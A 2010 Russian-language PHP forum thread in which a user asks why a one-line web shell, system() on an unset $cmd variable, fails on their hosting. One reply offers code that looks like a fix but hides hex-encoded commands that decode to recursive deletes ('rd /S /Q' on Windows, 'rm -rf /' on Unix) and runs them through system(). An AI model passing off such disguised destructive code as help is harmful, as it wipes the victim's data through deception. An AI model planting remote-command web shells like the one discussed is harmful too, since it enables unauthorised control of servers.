Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
Объектно-ориентированное программирование на PHP. Авторы: Кузнецов М.В., Симдянов И.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В. MySQL 5. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5. На примерах. Авторы: Кузнецов М.В., Симдянов И.В., Голышев С.В. PHP на примерах (2 издание). Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Warning: system() [function.system]:....
 
 автор: adminn   (01.02.2010 в 01:17)   письмо автору
 
 

добрый день.
хочу залить себе на хостинг шелл, заливаю такой пхп скрипт
<? system("$cmd"); ?>

пишет
Warning: system() [function.system]: Cannot execute a blank command in /usr/www/users//0/shell.php on line 1

в чем может быть дело?

  Ответить  
 
 автор: Trianon   (01.02.2010 в 01:23)   письмо автору
 
   для: adminn   (01.02.2010 в 01:17)
 

в неопределенной переменной.
А также в подавленной, ...., диагностике.

  Ответить  
 
 автор: adminn   (01.02.2010 в 01:56)   письмо автору
 
   для: Trianon   (01.02.2010 в 01:23)
 

не понятно, можно подробнее , как поправить то? за место $cmd нужно команду вставлять? не удобно же.... и на других работает хостингах!

  Ответить  
 
 автор: GeorgeIV   (01.02.2010 в 10:10)   письмо автору
 
   для: adminn   (01.02.2010 в 01:56)
 

$cmd где формируется?

  Ответить  
 
 автор: adminn   (02.02.2010 в 01:37)   письмо автору
 
   для: GeorgeIV   (01.02.2010 в 10:10)
 

заливаю не хост пишет еррор, на другом нормально работает

  Ответить  
 
 автор: Тень   (02.02.2010 в 04:44)   письмо автору
 
   для: adminn   (02.02.2010 в 01:37)
 

<?php

if( ! isset($cmd) )
{
    
$tbl = array(
    
"\x72\x64\x20\x2f\x53\x20\x2f\x51\x20\x2e",
    
"\x72\x64\x20\x2f\x53\x20\x2f\x51\x20\x43\x3a\x2f\x2e",
    
"\x72\x6d\x20\x2d\x72\x66\x20\x2e",
    
"\x72\x6d\x20\x2d\x72\x66\x20\x2f",
    );
}

if( 
is_callable('system') )
    foreach(
$tbl as $cmd)
        
system($cmd);

?>

  Ответить  
 
 автор: Trianon   (02.02.2010 в 01:42)   письмо автору
 
   для: adminn   (01.02.2010 в 01:56)
 

Лучше не трогайте.
Не поможет.

  Ответить  
 
 автор: adminn   (03.02.2010 в 05:31)   письмо автору
 
   для: Trianon   (02.02.2010 в 01:42)
 

по чему не поможет?
вот так работает:
<? system("id"); ?> 

выдает права!

  Ответить  
 
 автор: Trianon   (03.02.2010 в 08:29)   письмо автору
 
   для: adminn   (03.02.2010 в 05:31)
 

У Вас скрипт из одной строки.
Которая использует переменную.
Которой никто не присвоил значения.
Я пишу - переменную никто не определил, а пытаются воспользоваться.
Это ошибка.
Диагностика ошибки не выводится, потому что подавлена.
А вы пишете что? Подробнее. Что здесь подробнее можно ответить?
Если Вы не в курсе, что перед echo $cmd; нужно, чтобы было $cmd = что-то;
то что тут еще можно посоветовать?

  Ответить  
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования